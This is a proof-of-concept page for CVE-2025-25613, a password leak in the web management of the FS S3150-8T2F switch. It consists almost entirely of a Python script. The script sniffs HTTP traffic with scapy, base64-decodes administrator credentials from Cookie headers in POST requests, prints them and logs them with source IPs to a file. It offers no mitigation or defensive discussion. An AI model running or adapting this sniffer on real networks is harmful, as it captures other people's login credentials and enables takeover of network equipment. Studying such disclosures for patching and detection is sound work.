CVE-2025-25613 FS S3150-8T2F交换机Web管理密码泄露漏洞

import base64 import requests from scapy.all import sniff, IP, TCP, Raw def extract_credentials_from_cookie(cookie_header): """ Extract and decode credentials from the cookie header CVE-2025-25613 PoC - FS S3150-8T2F credential extraction """ try: # Split cookie header to find encoded credentials # The format typically contains base64 encoded username:password parts = cookie_header.split('=') if len(parts) >= 2: encoded_creds = parts[1].split(';')[0] # Decode base64 to get plaintext credentials decoded = base64.b64decode(encoded_creds).decode('utf-8') return decoded except Exception as e: print(f"[-] Decode error: {e}") return None def packet_handler(packet): """ Sniff packets and extract credentials from POST requests CVE-2025-25613 PoC - Network traffic monitoring """ if packet.haslayer(TCP) and packet.haslayer(Raw): payload = packet[Raw].load.decode('utf-8', errors='ignore') if 'POST' in payload and 'Cookie:' in payload: print(f"[+] Potential target captured from {packet[IP].src}") # Extract cookie line for line in payload.split('\n'): if line.startswith('Cookie:'): creds = extract_credentials_from_cookie(line) if creds: print(f"[!] Decoded credentials: {creds}") # Save to file with open('captured_creds.txt', 'a') as f: f.write(f"Source IP: {packet[IP].src}\n") f.write(f"Credentials: {creds}\n\n") def start_sniffing(interface='eth0'): """ Start packet sniffing on specified interface CVE-2025-25613 PoC - Credential capture """ print(f"[*] Starting packet capture on {interface}") print("[*] Press Ctrl+C to stop...\n") # Filter for HTTP POST requests (port 80) sniff(filter='tcp port 80', prn=packet_handler, iface=interface, store=0) if __name__ == '__main__': import sys interface = sys.argv[1] if len(sys.argv) > 1 else 'eth0' start_sniffing(interface)